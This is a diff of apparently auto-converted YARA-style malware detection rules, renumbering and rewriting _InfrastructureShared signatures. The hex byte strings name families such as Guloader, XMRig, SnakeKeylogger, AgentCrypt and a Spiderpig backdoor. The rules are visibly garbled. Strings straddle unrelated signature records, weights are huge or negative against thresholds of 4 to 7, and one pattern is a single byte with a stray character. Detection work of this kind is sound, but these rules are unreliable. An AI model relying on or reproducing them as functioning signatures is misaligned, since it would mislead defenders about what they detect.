@@ -104297,7 +111042,7 @@ rule _InfrastructureShared_9678{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25701+(#a_68_2 & 1)*28257+(#a_69_3 & 1)*14930) >=4 } -rule _InfrastructureShared_9679{ +rule _InfrastructureShared_10293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104310,7 +111055,7 @@ rule _InfrastructureShared_9679{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28518+(#a_65_2 & 1)*29305+(#a_69_3 & 1)*14930) >=4 } -rule _InfrastructureShared_9680{ +rule _InfrastructureShared_10294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104323,7 +111068,7 @@ rule _InfrastructureShared_9680{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25960+(#a_61_2 & 1)*29545+(#a_32_3 & 1)*20302) >=4 } -rule _InfrastructureShared_9681{ +rule _InfrastructureShared_10295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104336,7 +111081,7 @@ rule _InfrastructureShared_9681{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545+(#a_72_2 & 1)*29793+(#a_51_3 & 1)*11890) >=4 } -rule _InfrastructureShared_9682{ +rule _InfrastructureShared_10296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104349,7 +111094,7 @@ rule _InfrastructureShared_9682{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26217+(#a_69_2 & 1)*28261+(#a_73_3 & 1)*27905) >=4 } -rule _InfrastructureShared_9683{ +rule _InfrastructureShared_10297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -104362,34 +111107,58 @@ rule _InfrastructureShared_9683{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25966+(#a_69_2 & 1)*385+(#a_70_3 & 1)*24947) >=4 } -rule _InfrastructureShared_9684{ +rule _InfrastructureShared_10298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 49 30 31 21 4d 54 42 00 01 00 21 81 01 6d 65 73 6f 73 70 68 65 72 69 63 5c 68 65 63 61 74 6f 6d 62 5c 62 69 73 61 6d 70 65 6c 73 65 6e 73 01 00 14 81 01 76 61 6e 64 62 72 6e 64 20 64 69 73 70 } //18467 $a_69_1 = {6e 73 01 00 09 81 01 69 6e 64 72 65 74 74 65 74 01 00 14 81 01 67 72 65 63 69 7a 65 64 20 61 69 72 61 62 6c 65 2e 65 78 65 00 00 78 8f 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 70 6b 38 00 01 00 14 80 01 69 6e 73 74 61 6c 6c 65 72 6f 70 65 72 61 67 78 2e 69 63 6f 01 00 } //29537 - $a_72_2 = {2e 6f 70 65 72 61 2e 63 6f 6d 01 00 10 80 01 4f 70 65 72 61 47 58 53 65 74 75 70 2e 65 78 65 01 00 14 80 01 6d 69 73 6c 65 61 64 69 6e 67 2d 69 6e 73 74 61 6c 6c 65 72 01 00 07 80 01 72 6f 73 74 70 61 79 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 65 64 69 61 47 65 74 2e 41 57 00 01 } //13 - $a_01_3 = {6d 65 64 69 61 67 65 74 5f 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 13 80 01 6e 65 77 64 6f 77 6e 6c 6f 61 64 2e 74 6f 72 72 65 6e 74 01 00 09 80 01 6f 70 65 6e 63 61 6e 64 79 01 00 09 80 01 6b 65 79 67 65 6e 73 6e 6c 01 00 10 80 01 6c 64 2e 6d 65 64 69 61 2d 67 65 74 2e 63 6f 6d 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 } //5632 + $a_72_2 = {2e 6f 70 65 72 61 2e 63 6f 6d 01 00 10 80 01 4f 70 65 72 61 47 58 53 65 74 75 70 2e 65 78 65 01 00 14 80 01 6d 69 73 6c 65 61 64 69 6e 67 2d 69 6e 73 74 61 6c 6c 65 72 01 00 07 80 01 72 6f 73 74 70 61 79 00 00 78 8f 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 4d 52 69 67 2e 4e 47 21 4d 54 42 00 03 00 39 01 } //13 + $a_48_3 = {01 00 b9 40 00 00 00 8b c2 83 e0 3f 2b c8 48 d3 cf 48 33 fa 48 } //-29880 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29537+(#a_72_2 & 1)*13+(#a_01_3 & 1)*5632) >=4 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29537+(#a_72_2 & 1)*13+(#a_48_3 & 1)*-29880) >=4 } -rule _InfrastructureShared_9685{ +rule _InfrastructureShared_10299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 70 6b 38 00 01 00 14 80 01 69 6e 73 74 61 6c 6c 65 72 6f 70 65 72 61 67 78 2e 69 63 6f 01 00 0d 00 74 72 79 2e 6f 70 65 72 61 2e 63 6f 6d 01 00 10 80 01 } //16675 - $a_72_1 = {47 58 53 65 74 75 70 2e 65 78 65 01 00 14 80 01 6d 69 73 6c 65 61 64 69 6e 67 2d 69 6e 73 74 61 6c 6c 65 72 01 00 07 80 01 72 6f 73 74 70 61 79 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 65 64 69 61 47 65 74 2e 41 57 00 01 00 16 80 01 6d } //28751 - $a_61_2 = {65 74 5f 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 13 80 01 6e 65 77 64 6f 77 6e 6c 6f 61 64 2e 74 6f 72 72 65 6e 74 01 00 09 80 01 6f 70 65 6e 63 61 6e 64 79 01 00 09 80 01 6b 65 79 67 65 6e 73 6e 6c 01 00 10 80 01 6c 64 2e 6d 65 64 69 61 2d 67 65 74 2e 63 6f 6d 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c } //25701 - $a_72_3 = {6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 4d 21 4d 54 42 00 01 00 1b 01 68 74 74 70 3a 2f 2f 7a 68 73 68 2e 6a 2e 6e 6a 2e 74 77 73 61 70 70 2e 63 6f 6d 01 00 0d 01 63 6d 64 3d 70 5f 43 26 73 69 67 6e 3d 01 00 13 01 5c 73 68 65 } //14918 - $a_6f_4 = {65 6e 5c 63 6f 6d 6d 61 6e 64 01 00 07 01 6d 61 69 6c 74 6f 3a 01 00 0c 01 52 65 6d 6f 76 65 50 6c 61 79 65 72 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 6c 6f 63 6b 65 72 2e 41 21 64 68 61 00 01 00 0c 01 45 76 65 6e } //27756 + $a_72_1 = {47 58 53 65 74 75 70 2e 65 78 65 01 00 14 80 01 6d 69 73 6c 65 61 64 69 6e 67 2d 69 6e 73 74 61 6c 6c 65 72 01 00 07 80 01 72 6f 73 74 70 61 79 00 00 78 8f 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 4d 52 69 67 2e 4e 47 21 4d 54 42 00 03 00 39 01 48 8b 15 48 eb } //28751 + $a_40_2 = {00 00 8b c2 83 e0 3f 2b c8 48 d3 cf 48 33 fa 48 d3 cb 48 33 da 48 89 3d 21 02 02 00 48 89 1d 22 02 02 00 48 8d 0d 4f 00 00 00 e8 0a ff ff ff 02 00 26 01 48 8d 0d 41 01 02 00 8b 15 8b 01 02 00 ff c0 89 05 6f ea 01 00 89 03 65 48 8b 04 25 58 00 00 00 41 b9 08 00 00 00 00 00 78 8f 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 41 57 21 4d 54 42 00 02 00 24 81 01 61 34 37 66 62 39 32 63 2d 35 65 31 36 2d 34 64 38 61 2d 39 63 33 62 2d 66 66 38 64 65 61 63 32 35 61 39 31 01 00 11 81 01 50 65 72 } //1 + $a_61_3 = {69 72 65 63 74 6f 72 69 6f 01 00 12 81 01 54 72 61 6e 73 66 6f 72 6d 33 44 42 65 73 74 46 69 74 01 00 09 81 01 42 65 73 74 46 69 74 55 49 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 65 64 69 61 47 65 74 2e 41 57 00 01 00 16 80 01 6d 65 64 69 61 67 65 74 5f 69 6e 73 } //28531 + $a_6c_4 = {72 2e 65 78 65 01 00 13 80 01 6e 65 77 64 6f 77 6e 6c 6f 61 64 2e 74 6f 72 72 65 6e 74 01 00 09 80 01 6f 70 65 6e 63 61 6e 64 79 01 00 09 80 01 6b 65 79 67 65 6e 73 6e 6c 01 00 10 80 01 6c 64 2e 6d 65 64 69 61 2d 67 65 74 2e 63 6f 6d 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //24948 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28751+(#a_61_2 & 1)*25701+(#a_72_3 & 1)*14918+(#a_6f_4 & 1)*27756) >=4 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28751+(#a_40_2 & 1)*1+(#a_61_3 & 1)*28531+(#a_6c_4 & 1)*24948) >=4 } -rule _InfrastructureShared_9686{ +rule _InfrastructureShared_10300{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 4d 52 69 67 2e 4e 47 21 4d 54 42 00 03 00 39 01 48 8b 15 48 eb 01 00 b9 40 00 00 00 8b c2 83 e0 3f 2b c8 48 d3 cf 48 33 fa 48 d3 cb 48 33 da 48 89 3d 21 02 02 00 48 89 1d 22 02 02 00 48 } //16675 + $a_00_1 = {00 00 e8 0a ff ff ff 02 00 26 01 48 8d 0d 41 01 02 00 8b 15 8b 01 02 00 ff c0 89 05 6f ea 01 00 89 03 65 48 8b 04 25 58 00 00 00 41 b9 08 00 00 00 00 00 78 8f 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //3469 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3469) >=5 + +} +rule _InfrastructureShared_10301{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 41 57 21 4d 54 42 00 02 00 24 81 01 61 34 37 66 62 39 32 63 2d 35 65 31 36 2d 34 64 38 61 2d 39 63 33 62 2d 66 66 38 64 65 61 63 32 35 61 39 31 01 00 11 81 01 50 } //16675 + $a_6f_1 = {61 44 69 72 65 63 74 6f 72 69 6f 01 00 12 81 01 54 72 61 6e 73 66 6f 72 6d 33 44 42 65 73 74 46 69 74 01 00 09 81 01 42 65 73 74 46 69 74 55 49 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4d 65 64 69 61 47 65 74 2e 41 57 00 01 00 16 80 01 6d 65 64 69 61 67 65 74 5f 69 6e 73 74 61 6c } //29285 + $a_2e_2 = {78 65 01 00 13 80 01 6e 65 77 64 6f 77 6e 6c 6f 61 64 2e 74 6f 72 72 65 6e 74 01 00 09 80 01 6f 70 65 6e 63 61 6e 64 79 01 00 09 80 01 6b 65 79 67 65 6e 73 6e 6c 01 00 10 80 01 6c 64 2e 6d 65 64 69 61 2d 67 65 74 2e 63 6f 6d 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 } //25964 + $a_53_3 = {21 4d 54 42 00 01 00 1b 01 68 74 74 70 3a 2f 2f 7a 68 73 68 2e 6a 2e 6e 6a 2e 74 77 73 61 70 70 2e 63 6f 6d 01 00 0d 01 63 6d 64 3d 70 5f } //29808 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29285+(#a_2e_2 & 1)*25964+(#a_53_3 & 1)*29808) >=5 + +} +rule _InfrastructureShared_10302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104403,7 +111172,7 @@ rule _InfrastructureShared_9686{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25970+(#a_6a_2 & 1)*26739+(#a_6d_3 & 1)*28515+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_9687{ +rule _InfrastructureShared_10303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104416,7 +111185,7 @@ rule _InfrastructureShared_9687{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28263+(#a_4c_2 & 1)*8993+(#a_76_3 & 1)*269) >=5 } -rule _InfrastructureShared_9688{ +rule _InfrastructureShared_10304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104430,7 +111199,7 @@ rule _InfrastructureShared_9688{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29300+(#a_61_2 & 1)*21367+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_9689{ +rule _InfrastructureShared_10305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104438,27 +111207,41 @@ rule _InfrastructureShared_9689{ $a_63_0 = {70 74 69 6f 6e 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 45 49 6e 41 72 63 45 6d 61 69 6c 2e 53 54 41 00 01 00 0f 81 01 54 4f 77 6e 65 72 44 72 61 77 53 74 61 74 65 01 00 10 81 01 4d 61 67 65 6c 6c 61 6e 20 4d 53 57 48 45 45 4c 01 00 0d 81 01 74 61 4c 65 66 74 4a 75 73 74 69 66 79 01 00 0a 81 01 54 66 72 6d 52 65 67 4f 63 78 01 00 0a 81 01 63 } //17699 $a_67_1 = {63 78 55 74 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 6e 61 6b 65 6b 65 79 4c 6f 67 67 65 72 2e 52 50 21 4d 54 42 00 01 00 13 01 4f 42 53 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 4f 42 53 2e 45 6b 6c 65 2e 72 65 73 6f 75 72 63 65 73 01 00 14 01 4f 42 } //21098 $a_75_2 = {63 65 6c 2e 72 65 73 6f 75 72 63 65 73 01 00 11 01 4f 42 53 2e 73 69 6c 2e 72 65 73 6f 75 72 63 65 73 01 00 07 01 76 6f 6c 61 61 61 61 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //11859 - $a_61_3 = {65 72 2e 4b 41 50 4a 31 32 33 21 4d 54 42 00 01 00 0c 81 01 63 75 72 61 63 61 6f 65 72 6e 65 73 01 00 22 81 01 73 70 72 65 64 6e 69 6e 67 65 6e 20 6f 6d 6b 6f 6d 6d 65 6e 64 65 73 20 6d 69 73 70 68 72 61 73 65 64 01 00 07 81 01 63 61 76 65 6d 61 6e 01 00 0d 81 01 6e 6f 6e 70 6f 70 75 6c 61 72 69 74 79 01 00 0a 81 01 66 6f 72 74 69 } //27765 - $a_65_4 = {00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 51 31 32 33 21 4d 54 42 00 01 00 1b 81 01 42 72 69 6e 6b 65 72 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2c 20 49 6e 63 2e 01 00 10 81 01 65 78 74 72 6f 76 65 72 73 69 76 65 2e 65 78 65 01 } //28261 + $a_61_3 = {65 72 2e 47 4d 53 30 31 21 4d 54 42 00 01 00 1c 81 01 6c 61 76 61 74 75 72 65 20 68 65 6c 68 65 64 73 69 6e 64 74 72 79 6b 6b 65 6e 65 73 01 00 07 81 01 65 6c 76 72 6b 65 74 01 00 0a 81 01 77 65 61 6b 6c 69 6e 65 73 73 01 00 0f 81 01 6b 6f 6d 6d 61 74 65 72 69 6e 67 2e 65 78 65 01 00 12 81 01 64 65 6d 61 73 63 75 6c 69 6e 69 7a 65 } //27765 + $a_69_4 = {00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4a 31 32 33 21 4d 54 42 00 01 00 0c 81 01 63 75 72 61 63 61 6f 65 72 6e 65 73 01 00 22 81 01 73 70 72 65 64 6e 69 6e 67 65 6e 20 6f 6d 6b 6f 6d 6d 65 6e 64 65 73 20 6d 69 73 70 68 72 61 73 65 64 01 00 07 81 01 63 61 76 65 6d 61 6e 01 00 0d 81 01 6e 6f 6e } //11876 condition: - ((#a_63_0 & 1)*17699+(#a_67_1 & 1)*21098+(#a_75_2 & 1)*11859+(#a_61_3 & 1)*27765+(#a_65_4 & 1)*28261) >=5 + ((#a_63_0 & 1)*17699+(#a_67_1 & 1)*21098+(#a_75_2 & 1)*11859+(#a_61_3 & 1)*27765+(#a_69_4 & 1)*11876) >=5 } -rule _InfrastructureShared_9690{ +rule _InfrastructureShared_10306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 53 6e 61 6b 65 6b 65 79 4c 6f 67 67 65 72 2e 52 50 21 4d 54 42 00 01 00 13 01 4f 42 53 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 4f 42 53 2e 45 6b 6c 65 2e 72 65 73 6f 75 72 63 65 73 01 00 14 01 4f 42 53 2e 47 75 } //18467 - $a_6c_1 = {72 65 73 6f 75 72 63 65 73 01 00 11 01 4f 42 53 2e 73 69 6c 2e 72 65 73 6f 75 72 63 65 73 01 00 07 01 76 6f 6c 61 61 61 61 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4a 31 32 33 21 4d 54 42 00 01 00 0c 81 01 63 75 72 61 63 61 6f 65 72 } //25454 - $a_01_2 = {00 22 81 01 73 70 72 65 64 6e 69 6e 67 65 6e 20 6f 6d 6b 6f 6d 6d 65 6e 64 65 73 20 6d 69 73 70 68 72 61 73 65 64 01 00 07 81 01 63 61 76 65 6d 61 6e 01 00 0d 81 01 6e 6f 6e 70 6f 70 75 6c 61 72 69 74 79 01 00 0a 81 01 66 6f 72 74 69 65 6e 64 65 73 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //25966 - $a_4f_3 = {51 31 32 33 21 4d 54 42 00 01 00 1b 81 01 42 72 69 6e 6b 65 72 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2c 20 49 6e 63 2e 01 00 10 81 01 65 78 74 72 6f 76 65 72 73 69 76 65 2e 65 78 65 01 00 0a 81 01 50 66 69 7a 65 72 20 49 } //11890 - $a_00_4 = {10 } //25454 + $a_6c_1 = {72 65 73 6f 75 72 63 65 73 01 00 11 01 4f 42 53 2e 73 69 6c 2e 72 65 73 6f 75 72 63 65 73 01 00 07 01 76 6f 6c 61 61 61 61 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 53 30 31 21 4d 54 42 00 01 00 1c 81 01 6c 61 76 61 74 75 72 65 20 68 65 } //25454 + $a_64_2 = {69 6e 64 74 72 79 6b 6b 65 6e 65 73 01 00 07 81 01 65 6c 76 72 6b 65 74 01 00 0a 81 01 77 65 61 6b 6c 69 6e 65 73 73 01 00 0f 81 01 6b 6f 6d 6d 61 74 65 72 69 6e 67 2e 65 78 65 01 00 12 81 01 64 65 6d 61 73 63 75 6c 69 6e 69 7a 65 64 2e 7a 69 70 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a } //26732 + $a_33_3 = {2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4a 31 32 33 21 4d 54 42 00 01 00 0c 81 01 63 75 72 61 63 61 6f 65 72 6e 65 73 01 00 22 81 01 73 70 72 65 64 6e 69 6e 67 65 6e 20 6f 6d 6b 6f 6d 6d 65 6e 64 65 73 20 6d 69 73 70 68 72 61 73 65 64 01 00 07 81 01 63 61 76 65 6d 61 6e 01 00 0d 81 01 6e 6f 6e 70 6f 70 75 6c 61 72 69 74 79 01 00 } //26967 + $a_66_4 = {72 } //-32502 r condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25454+(#a_01_2 & 1)*25966+(#a_4f_3 & 1)*11890+(#a_00_4 & 1)*25454) >=5 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25454+(#a_64_2 & 1)*26732+(#a_33_3 & 1)*26967+(#a_66_4 & 1)*-32502) >=5 } -rule _InfrastructureShared_9691{ +rule _InfrastructureShared_10307{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 53 30 31 21 4d 54 42 00 01 00 1c 81 01 6c 61 76 61 74 75 72 65 20 68 65 6c 68 65 64 73 69 6e 64 74 72 79 6b 6b 65 6e 65 73 01 00 07 81 01 65 6c 76 72 6b 65 74 01 00 0a 81 01 77 65 61 6b 6c 69 6e } //18467 + $a_01_1 = {00 0f 81 01 6b 6f 6d 6d 61 74 65 72 69 6e 67 2e 65 78 65 01 00 12 81 01 64 65 6d 61 73 63 75 6c 69 6e 69 7a 65 64 2e 7a 69 70 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4a 31 32 33 21 4d 54 42 00 01 00 0c 81 01 63 75 72 61 63 61 6f 65 72 6e 65 73 01 00 22 81 01 73 70 72 65 64 } //29541 + $a_67_2 = {6e 20 6f 6d 6b 6f 6d 6d 65 6e 64 65 73 20 6d 69 73 70 68 72 61 73 65 64 01 00 07 81 01 63 61 76 65 6d 61 6e 01 00 0d 81 01 6e 6f 6e 70 6f 70 75 6c 61 72 69 74 79 01 00 0a 81 01 66 6f 72 74 69 65 6e 64 65 73 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 51 31 32 33 } //26990 + $a_42_3 = {01 00 1b 81 01 42 72 69 6e 6b 65 72 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 2c 20 49 6e 63 2e 01 00 10 81 01 65 78 74 72 6f 76 65 72 73 69 76 65 2e 65 78 65 01 00 0a 81 01 50 66 69 7a 65 72 20 49 6e 63 01 00 10 81 01 43 6f 6e 63 6f 72 64 20 45 46 53 } //19745 + $a_63_4 = {01 00 07 81 01 4e 56 52 20 49 6e 63 00 00 78 8f 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 70 69 64 65 72 70 69 67 2e 5a 5a 00 01 00 28 01 b8 89 88 88 88 f7 ef 48 8b c6 48 2b 43 08 03 d7 c1 fa 05 8b ca c1 e9 1f 03 d1 6b d2 3c 2b fa 83 c7 1e 48 63 cf 48 3b c1 01 00 08 01 33 d2 41 b8 } //18720 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29541+(#a_67_2 & 1)*26990+(#a_42_3 & 1)*19745+(#a_63_4 & 1)*18720) >=5 + +} +rule _InfrastructureShared_10308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104471,7 +111254,7 @@ rule _InfrastructureShared_9691{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*385+(#a_61_3 & 1)*29285+(#a_53_4 & 1)*13366) >=5 } -rule _InfrastructureShared_9692{ +rule _InfrastructureShared_10309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104485,7 +111268,7 @@ rule _InfrastructureShared_9692{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*-32502+(#a_20_2 & 1)*25978+(#a_c7_3 & 1)*-1493+(#a_6d_4 & 1)*385) >=5 } -rule _InfrastructureShared_9693{ +rule _InfrastructureShared_10310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104499,7 +111282,7 @@ rule _InfrastructureShared_9693{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*15176+(#a_00_2 & 1)*101+(#a_01_3 & 1)*904+(#a_41_4 & 1)*19529) >=5 } -rule _InfrastructureShared_9694{ +rule _InfrastructureShared_10311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -104512,7 +111295,7 @@ rule _InfrastructureShared_9694{ ((#a_6f_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_01_3 & 1)*904+(#a_41_4 & 1)*19529) >=5 } -rule _InfrastructureShared_9695{ +rule _InfrastructureShared_10312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -104524,7 +111307,7 @@ rule _InfrastructureShared_9695{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-29759+(#a_41_2 & 1)*19529) >=6 } -rule _InfrastructureShared_9696{ +rule _InfrastructureShared_10313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -104539,7 +111322,7 @@ rule _InfrastructureShared_9696{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*17991+(#a_42_2 & 1)*19745+(#a_00_3 & 1)*89+(#a_19_4 & 1)*-6376+(#a_69_5 & 1)*23588) >=6 } -rule _InfrastructureShared_9697{ +rule _InfrastructureShared_10314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -104549,7 +111332,7 @@ rule _InfrastructureShared_9697{ ((#a_4c_0 & 1)*21539) >=7 } -rule _InfrastructureShared_9698{ +rule _InfrastructureShared_10315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -104567,7 +111350,7 @@ rule _InfrastructureShared_9698{ ((#a_54_0 & 1)*18467+(#a_3b_1 & 1)*-4661+(#a_6f_2 & 1)*23064+(#a_11_3 & 1)*4868+(#a_11_4 & 1)*554+(#a_10_5 & 1)*1025+(#a_00_6 & 1)*0+(#a_75_7 & 1)*28498+(#a_90_8 & 1)*-1) >=7 } -rule _InfrastructureShared_9699{ +rule _InfrastructureShared_10316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 07 00 05 00 21 " @@ -104581,7 +111364,7 @@ rule _InfrastructureShared_9699{ ((#a_77_0 & 1)*16675+(#a_55_1 & 1)*17741+(#a_08_2 & 1)*11008+(#a_18_3 & 1)*4359+(#a_28_4 & 1)*7940) >=7 } -rule _InfrastructureShared_9700{ +rule _InfrastructureShared_10317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -104592,7 +111375,7 @@ rule _InfrastructureShared_9700{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*10) >=10 } -rule _InfrastructureShared_9701{ +rule _InfrastructureShared_10318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -104603,7 +111386,7 @@ rule _InfrastructureShared_9701{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28667) >=11 } -rule _InfrastructureShared_9702{ +rule _InfrastructureShared_10319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 